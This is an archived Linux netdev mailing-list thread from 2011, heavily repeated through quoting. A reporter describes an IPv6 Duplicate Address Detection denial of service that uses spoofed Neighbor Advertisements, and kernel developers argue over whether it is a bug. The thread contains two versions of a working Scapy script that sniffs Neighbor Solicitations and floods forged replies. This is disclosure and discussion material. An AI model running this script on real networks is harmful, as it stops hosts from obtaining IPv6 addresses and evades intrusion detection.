PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets
Subsystems (2)
The networking folks are on netdev
-------- Original Message --------
Subject: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets
Date: Thu, 05 May 2011 11:52:05 +0200
From: Gervais Arthur <[email protected]>
To: <[email protected]>
CC: <[email protected]>
[1.] One line summary of the problem:
A specially crafted Ethernet ICMPv6 packet which is not conform to the RFC can perform a IPv6 Duplicate Address Detection Failure.
[2.] Full description of the problem/report:
If a new IPv6 node joins the local area network, the new node sends an ICMPv6 Neighbor Solicitation packet in order to check if the self-generated local-link IPv6 address already occupied is.
An attacker can answer to this Neighbor Solicitation packet with an ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is not able to associate the just generated IPv6 address.
-- This problem is well known and IPv6 related.
The new problem is that the attacker can modify the Ethernet Neighbor Advertisement packets, so that they are not RFC conform and so that it is even more difficult to detect the attacker.
If an attacker sends the following packet, duplicate address detection fails on Linux:
Ethernet Layer: Victim MAC --> Victim MAC
IPv6 Layer: fe80::200:edff:feXX:XXXX --> ff02::1
ICMPv6
Type 136 (Neighbor Advertisement)
Target: fe80::200:edff:feXX:XXXX
ICMPv6 Option
Type 2 (Target link-layer address) Victim MAC
Please find attached a drawing and a proof of concept.
[3.] Keywords (i.e., modules, networking, kernel):
Network, IPv6, Duplicate Address Detection
[4.] Kernel version (from /proc/version):
Latest tested:
Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC 2010
(and before most probably)
[6.] A small shell script or example program which triggers the
problem (if possible)
Please find attached a python script demonstrating the problem.
[X.] Other notes, patches, fixes, workarounds:
The Linux Kernel should not accept incoming Ethernet packets originating from an internal Ethernet card (identified by the MAC address)
#! /usr/bin/env python
import sys
from multiprocessing import Process
from scapy.all import *
def f(pkt):
sendp(pkt, loop=1, inter=1)
def callback(pkt):
if IPv6 in pkt and ICMPv6ND_NS in pkt:
src_mac=pkt.sprintf("%Ether.src%") # Source Adresse
src=pkt.sprintf("%IPv6.src%") # Source Adresse
dst=pkt.sprintf("%IPv6.dst%") # Destination Adresse
tgt=pkt.sprintf("%ICMPv6ND_NS.tgt%") # Target adresse
if src=="::" and "ff02::1:ff" in dst:
eth = Ether(src="00:20:ed:74:89:82",dst=src_mac) ip = IPv6(src=tgt,dst="ff02::1")
icmp = ICMPv6ND_NA(tgt=tgt)
icmpOpt = ICMPv6NDOptDstLLAddr(lladdr="00:20:ed:74:89:82")
packet = eth/ip/icmp/icmpOpt
p = Process(target=f, args=(packet,)) p.start()
def main():
conf.iface6="eth1"
try:
scapy.sendrecv.sniff(prn=callback,store=0)
except KeyboardInterrupt:
exit(0)if __name__ == "__main__":
main()
Quoted 58 lines · Jan Ceuleers
The networking folks are on netdev
-------- Original Message --------
Subject: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets
Date: Thu, 05 May 2011 11:52:05 +0200
From: Gervais Arthur <[email protected]>
To: <[email protected]>
CC: <[email protected]>[1.] One line summary of the problem:
A specially crafted Ethernet ICMPv6 packet which is not conform to the RFC can perform a IPv6 Duplicate Address Detection Failure.
[2.] Full description of the problem/report:
If a new IPv6 node joins the local area network, the new node sends an ICMPv6 Neighbor Solicitation packet in order to check if the self-generated local-link IPv6 address already occupied is.
An attacker can answer to this Neighbor Solicitation packet with an ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is not able to associate the just generated IPv6 address.
-- This problem is well known and IPv6 related.The new problem is that the attacker can modify the Ethernet Neighbor Advertisement packets, so that they are not RFC conform and so that it is even more difficult to detect the attacker.
If an attacker sends the following packet, duplicate address detection fails on Linux:
Ethernet Layer: Victim MAC --> Victim MAC
IPv6 Layer: fe80::200:edff:feXX:XXXX --> ff02::1
ICMPv6
Type 136 (Neighbor Advertisement)
Target: fe80::200:edff:feXX:XXXX
ICMPv6 Option
Type 2 (Target link-layer address) Victim MACPlease find attached a drawing and a proof of concept.
[3.] Keywords (i.e., modules, networking, kernel):
Network, IPv6, Duplicate Address Detection
[4.] Kernel version (from
/proc/version):Latest tested:
Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC 2010
(and before most probably)[6.] A small shell script or example program which triggers the
problem (if possible)
Quoted 7 lines
Please find attached a python script demonstrating the problem.
[X.] Other notes, patches, fixes, workarounds:
The Linux Kernel should not accept incoming Ethernet packets originating from an internal Ethernet card (identified by the MAC address)
I fail to understand the problem.
The attacker might use any kind of source MAC address to fool 'Victim' or 'network admins'
Why one particular address should be avoided ?
Quoted 46 lines · Eric Dumazet
Quoted 45 lines · Jan Ceuleers
The networking folks are on netdev
-------- Original Message --------
Subject: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets
Date: Thu, 05 May 2011 11:52:05 +0200
From: Gervais Arthur<[email protected]> To:<[email protected]> CC:<[email protected]>[1.] One line summary of the problem:
A specially crafted Ethernet ICMPv6 packet which is not conform to the RFC can perform a IPv6 Duplicate Address Detection Failure.
[2.] Full description of the problem/report:
If a new IPv6 node joins the local area network, the new node sends an ICMPv6 Neighbor Solicitation packet in order to check if the self-generated local-link IPv6 address already occupied is.
An attacker can answer to this Neighbor Solicitation packet with an ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is not able to associate the just generated IPv6 address.
-- This problem is well known and IPv6 related.The new problem is that the attacker can modify the Ethernet Neighbor Advertisement packets, so that they are not RFC conform and so that it is even more difficult to detect the attacker.
If an attacker sends the following packet, duplicate address detection fails on Linux:
Ethernet Layer: Victim MAC --> Victim MAC
IPv6 Layer: fe80::200:edff:feXX:XXXX --> ff02::1
ICMPv6
Type 136 (Neighbor Advertisement)
Target: fe80::200:edff:feXX:XXXX
ICMPv6 Option
Type 2 (Target link-layer address) Victim MACPlease find attached a drawing and a proof of concept.
[3.] Keywords (i.e., modules, networking, kernel):
Quoted 7 lines
Quoted 7 lines
Network, IPv6, Duplicate Address Detection
[4.] Kernel version (from
/proc/version):Latest tested:
Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50
UTC
Quoted 11 lines
Quoted 11 lines
2010
(and before most probably)[6.] A small shell script or example program which triggers the
problem (if possible)Please find attached a python script demonstrating the problem.
[X.] Other notes, patches, fixes, workarounds:
The Linux Kernel should not accept incoming Ethernet packets
originating
Quoted 12 lines
Quoted 2 lines
from an internal Ethernet card (identified by the MAC address)
I fail to understand the problem.
The attacker might use any kind of source MAC address to fool 'Victim' or 'network admins'
Why one particular address should be avoided ?
Currently the IPv6 implementation says (from the victims view):
I send a Neighbor Solicitation for a given IPv6 address to check the duplicate address detection.
If I then receive a Neighbor Advertisement packet from my MAC address, to my MAC address, with ICMPv6 target option my MAC address, then the requested IPv6 address must already be used and I cannot take it.
I think such a packet should never be allowed to be accepted, because the victim just asked if the address is free.
If such a packet is accepted, it is even more difficult to find the attacker.
Quoted 88 lines · Gervais Arthur
Quoted 46 lines · Eric Dumazet
Quoted 45 lines · Jan Ceuleers
The networking folks are on netdev
-------- Original Message --------
Subject: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets
Date: Thu, 05 May 2011 11:52:05 +0200
From: Gervais Arthur<[email protected]> To:<[email protected]> CC:<[email protected]>[1.] One line summary of the problem:
A specially crafted Ethernet ICMPv6 packet which is not conform to the RFC can perform a IPv6 Duplicate Address Detection Failure.
[2.] Full description of the problem/report:
If a new IPv6 node joins the local area network, the new node sends an ICMPv6 Neighbor Solicitation packet in order to check if the self-generated local-link IPv6 address already occupied is.
An attacker can answer to this Neighbor Solicitation packet with an ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is not able to associate the just generated IPv6 address.
-- This problem is well known and IPv6 related.The new problem is that the attacker can modify the Ethernet Neighbor Advertisement packets, so that they are not RFC conform and so that it is even more difficult to detect the attacker.
If an attacker sends the following packet, duplicate address detection fails on Linux:
Ethernet Layer: Victim MAC --> Victim MAC
IPv6 Layer: fe80::200:edff:feXX:XXXX --> ff02::1
ICMPv6
Type 136 (Neighbor Advertisement)
Target: fe80::200:edff:feXX:XXXX
ICMPv6 Option
Type 2 (Target link-layer address) Victim MACPlease find attached a drawing and a proof of concept.
[3.] Keywords (i.e., modules, networking, kernel):
Quoted 7 lines
Quoted 7 lines
Network, IPv6, Duplicate Address Detection
[4.] Kernel version (from
/proc/version):Latest tested:
Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50UTC
Quoted 11 lines
Quoted 11 lines
2010
(and before most probably)[6.] A small shell script or example program which triggers the
problem (if possible)Please find attached a python script demonstrating the problem.
[X.] Other notes, patches, fixes, workarounds:
The Linux Kernel should not accept incoming Ethernet packets
originating
Quoted 12 lines
Quoted 2 lines
from an internal Ethernet card (identified by the MAC address)
I fail to understand the problem.
The attacker might use any kind of source MAC address to fool 'Victim' or 'network admins'
Why one particular address should be avoided ?
Currently the IPv6 implementation says (from the victims view):
I send a Neighbor Solicitation for a given IPv6 address to check the duplicate address detection.If I then receive a Neighbor Advertisement packet from my MAC address, to my MAC address, with ICMPv6 target option my MAC address, then the requested IPv6 address must already be used and I cannot take it.
Quoted 6 lines
I think such a packet should never be allowed to be accepted, because the victim just asked if the address is free.
If such a packet is accepted, it is even more difficult to find the attacker.
What prevents the attacker to use random source Mac addresses, or using legit ones learnt from packet sniffing ?
Why only one given mac address is to be avoided, out of billions other ?
This would be a strange precedent. Practically nowhere we check incoming mac addresses from incoming packets. (only on netfilter it can be optionally done)
If you have a host with say one thousand NICS, should we make sure the packet we receive has not one of the thousand mac addresses we currently have on this host ?
Quoted 7 lines · Eric Dumazet
Quoted 6 lines · Gervais Arthur
Quoted 5 lines · Eric Dumazet
Quoted 4 lines · Jan Ceuleers
The networking folks are on netdev
-------- Original Message --------
Subject: PROBLEM: IPv6 Duplicate Address Detection with non
RFC-conform
Quoted 9 lines
Quoted 9 lines
Quoted 9 lines
Quoted 9 lines
ICMPv6 packets
Date: Thu, 05 May 2011 11:52:05 +0200
From: Gervais Arthur<[email protected]>
To:<[email protected]>
CC:<[email protected]>[1.] One line summary of the problem:
A specially crafted Ethernet ICMPv6 packet which is not conform to
the
Quoted 5 lines
Quoted 5 lines
Quoted 5 lines
Quoted 5 lines
RFC can perform a IPv6 Duplicate Address Detection Failure.
[2.] Full description of the problem/report:
If a new IPv6 node joins the local area network, the new node sends
an
Quoted 5 lines
Quoted 5 lines
Quoted 5 lines
Quoted 5 lines
ICMPv6 Neighbor Solicitation packet in order to check if the self-generated local-link IPv6 address already occupied is.
An attacker can answer to this Neighbor Solicitation packet with an ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is
not
Quoted 5 lines
Quoted 5 lines
Quoted 5 lines
Quoted 5 lines
able to associate the just generated IPv6 address. -- This problem is well known and IPv6 related.
The new problem is that the attacker can modify the Ethernet Neighbor Advertisement packets, so that they are not RFC conform and so that
it
Quoted 3 lines
Quoted 3 lines
Quoted 3 lines
Quoted 3 lines
is even more difficult to detect the attacker.
If an attacker sends the following packet, duplicate address
detection
Quoted 55 lines
Quoted 55 lines
Quoted 14 lines
Quoted 14 lines
fails on Linux:
Ethernet Layer: Victim MAC --> Victim MAC
IPv6 Layer: fe80::200:edff:feXX:XXXX --> ff02::1
ICMPv6
Type 136 (Neighbor Advertisement)
Target: fe80::200:edff:feXX:XXXX
ICMPv6 Option
Type 2 (Target link-layer address) Victim MACPlease find attached a drawing and a proof of concept.
[3.] Keywords (i.e., modules, networking, kernel):
Quoted 7 lines
Quoted 7 lines
Network, IPv6, Duplicate Address Detection
[4.] Kernel version (from
/proc/version):Latest tested:
Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50UTC
Quoted 11 lines
Quoted 11 lines
2010
(and before most probably)[6.] A small shell script or example program which triggers the
problem (if possible)Please find attached a python script demonstrating the problem.
[X.] Other notes, patches, fixes, workarounds:
The Linux Kernel should not accept incoming Ethernet packets
originating
Quoted 12 lines
Quoted 2 lines
from an internal Ethernet card (identified by the MAC address)
I fail to understand the problem.
The attacker might use any kind of source MAC address to fool 'Victim' or 'network admins'
Why one particular address should be avoided ?
Currently the IPv6 implementation says (from the victims view):
I send a Neighbor Solicitation for a given IPv6 address to check the duplicate address detection.If I then receive a Neighbor Advertisement packet from my MAC address, to my MAC address, with ICMPv6 target option my MAC address, then the requested IPv6 address must already be used and I cannot take it.
Quoted 7 lines
Quoted 6 lines
I think such a packet should never be allowed to be accepted, because the victim just asked if the address is free.
If such a packet is accepted, it is even more difficult to find the attacker.
If the network administrator is using some IDS like NDPMon
(http://ndpmon.sourceforge.net/) to detect a DAD DoS attacks, and the attacker changes the MAC address like I described, it will not detect the DAD DoS attack anymore (because the victim itself claims already having the IPv6 address).
Quoted 3 lines
What prevents the attacker to use random source Mac addresses, or using legit ones learnt from packet sniffing ?
Of course an attacker could use a random source Mac address, or any other already existing source Mac address from the network, but the IDS system will know (depending on how it works), that this Mac address has not this IPv6 address associated and therefore a DAD DoS is happening.
Quoted 2 lines
Why only one given mac address is to be avoided, out of billions other ?
Why would the victim itself claim already having the IPv6 address?
Quoted 4 lines
This would be a strange precedent. Practically nowhere we check incoming mac addresses from incoming packets. (only on netfilter it can be optionally done)
Yes I understand this point. But there is not only the source Mac address from the Ethernet frame, it is also the "target link-layer address" in the ICMPv6 Option which is related to this case.
Quoted 3 lines
If you have a host with say one thousand NICS, should we make sure the packet we receive has not one of the thousand mac addresses we currently have on this host ?
I send the bug to this list, because I don't think this is a NDPMon specific problem. Windows for example does not accept the packets the way I described.
Maybe this is not an OS-specific problem, but attacks would be easier to detect, if those packets would not be accepted.
Quoted 2 lines · Gervais Arthur
Why would the victim itself claim already having the IPv6 address?
Why should it care ? Please point me the RFC saying its illegal to send or receive a frame with SRC_MAC == DST_MAC
Quoted 8 lines · Eric Dumazet
Quoted 2 lines · Gervais Arthur
Why would the victim itself claim already having the IPv6 address?
Why should it care ? Please point me the RFC saying its illegal to send or receive a frame with
SRC_MAC==DST_MAC
There is no RFC statement saying that this is illegal. But we are not only talking about the Ethernet layer. There is also the ICMPv6 Layer.
But neither in the IPv6 RFC's I can find something about this.
In fact, I think the implementation of Linux fully meet the RFC specifications.
Think about this, two nodes have the same MAC, the DAD of the self-generated link-local address on the new one MUST NOT pass. And the IPv6 traffic of the interface SHOULD be disabled, because there's no better way to recover from MAC conflicts automatically.
2011/5/7 Gervais Arthur <[email protected]>:
Quoted 20 lines · Eric Dumazet
> Le samedi 07 mai 2011 à 15:54 +0200, Gervais Arthur a écrit :
>
>> Why would the victim itself claim already having the IPv6 address? >>
>
> Why should it care ? Please point me the RFC saying its illegal to send > or receive a frame withSRC_MAC==DST_MAC
>There is no RFC statement saying that this is illegal. But we are not only talking about the Ethernet layer. There is also the ICMPv6 Layer.
But neither in the IPv6 RFC's I can find something about this.
--
To unsubscribe from this list: send the line "unsubscribe netdev" in the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Signature · 1 line
wanq
Quoted 1 line · Gervais Arthur
If the network administrator is using some IDS like NDPMon (http://ndpmon.sourceforge.net/) to detect a DAD DoS attacks, and the attacker changes the MAC address like I described, it will not detect the DAD DoS attack anymore (because the victim itself claims already having the IPv6 address).
If the network admin allows anyone to source any packet then they're already screwed. Networks need IETF SAVI-WG functionality to secure their network, if spoofing is allowed it's already too late.
The earlier network admins realise this and stop just trying to monitor the problem, the better.
Signature · 1 line
Mikael Abrahamsson email: [email protected]
I made a small mistake in the proof of concept code.
Please find attached the corrected version (2 lines are modified)
Best regards,
Arthur Gervais
Quoted 58 lines · Jan Ceuleers
The networking folks are on netdev
-------- Original Message --------
Subject: PROBLEM: IPv6 Duplicate Address Detection with non RFC-conform ICMPv6 packets
Date: Thu, 05 May 2011 11:52:05 +0200
From: Gervais Arthur <[email protected]>
To: <[email protected]>
CC: <[email protected]>[1.] One line summary of the problem:
A specially crafted Ethernet ICMPv6 packet which is not conform to the RFC can perform a IPv6 Duplicate Address Detection Failure.
[2.] Full description of the problem/report:
If a new IPv6 node joins the local area network, the new node sends an ICMPv6 Neighbor Solicitation packet in order to check if the self-generated local-link IPv6 address already occupied is.
An attacker can answer to this Neighbor Solicitation packet with an ICMPv6 Neighbor Advertisement packet, so that the new IPv6 node is not able to associate the just generated IPv6 address.
-- This problem is well known and IPv6 related.The new problem is that the attacker can modify the Ethernet Neighbor Advertisement packets, so that they are not RFC conform and so that it is even more difficult to detect the attacker.
If an attacker sends the following packet, duplicate address detection fails on Linux:
Ethernet Layer: Victim MAC --> Victim MAC
IPv6 Layer: fe80::200:edff:feXX:XXXX --> ff02::1
ICMPv6
Type 136 (Neighbor Advertisement)
Target: fe80::200:edff:feXX:XXXX
ICMPv6 Option
Type 2 (Target link-layer address) Victim MACPlease find attached a drawing and a proof of concept.
[3.] Keywords (i.e., modules, networking, kernel):
Network, IPv6, Duplicate Address Detection
[4.] Kernel version (from
/proc/version):Latest tested:
Linux version 2.6.35-22-generic (buildd@rothera) (gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu4) ) #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC 2010
(and before most probably)[6.] A small shell script or example program which triggers the problem (if possible)
Quoted 7 lines
Please find attached a python script demonstrating the problem.
[X.] Other notes, patches, fixes, workarounds:
The Linux Kernel should not accept incoming Ethernet packets originating from an internal Ethernet card (identified by the MAC address)
#! /usr/bin/env python
import sys
from multiprocessing import Process
from scapy.all import *
def f(pkt):
sendp(pkt, loop=1, inter=1)
def callback(pkt):
if IPv6 in pkt and ICMPv6ND_NS in pkt:
src_mac=pkt.sprintf("%Ether.src%") # Source Adresse
src=pkt.sprintf("%IPv6.src%") # Source Adresse
dst=pkt.sprintf("%IPv6.dst%") # Destination Adresse
tgt=pkt.sprintf("%ICMPv6ND_NS.tgt%") # Target adresse
if src=="::" and "ff02::1:ff" in dst:
eth = Ether(src=src_mac,dst=src_mac) ip = IPv6(src=tgt,dst="ff02::1") icmp = ICMPv6ND_NA(tgt=tgt) icmpOpt = ICMPv6NDOptDstLLAddr(lladdr=src_mac)
packet = eth/ip/icmp/icmpOpt
p = Process(target=f, args=(packet,)) p.start()
def main():
conf.iface6="eth1"
try:
scapy.sendrecv.sniff(prn=callback,store=0)
except KeyboardInterrupt:
exit(0)if __name__ == "__main__":
main()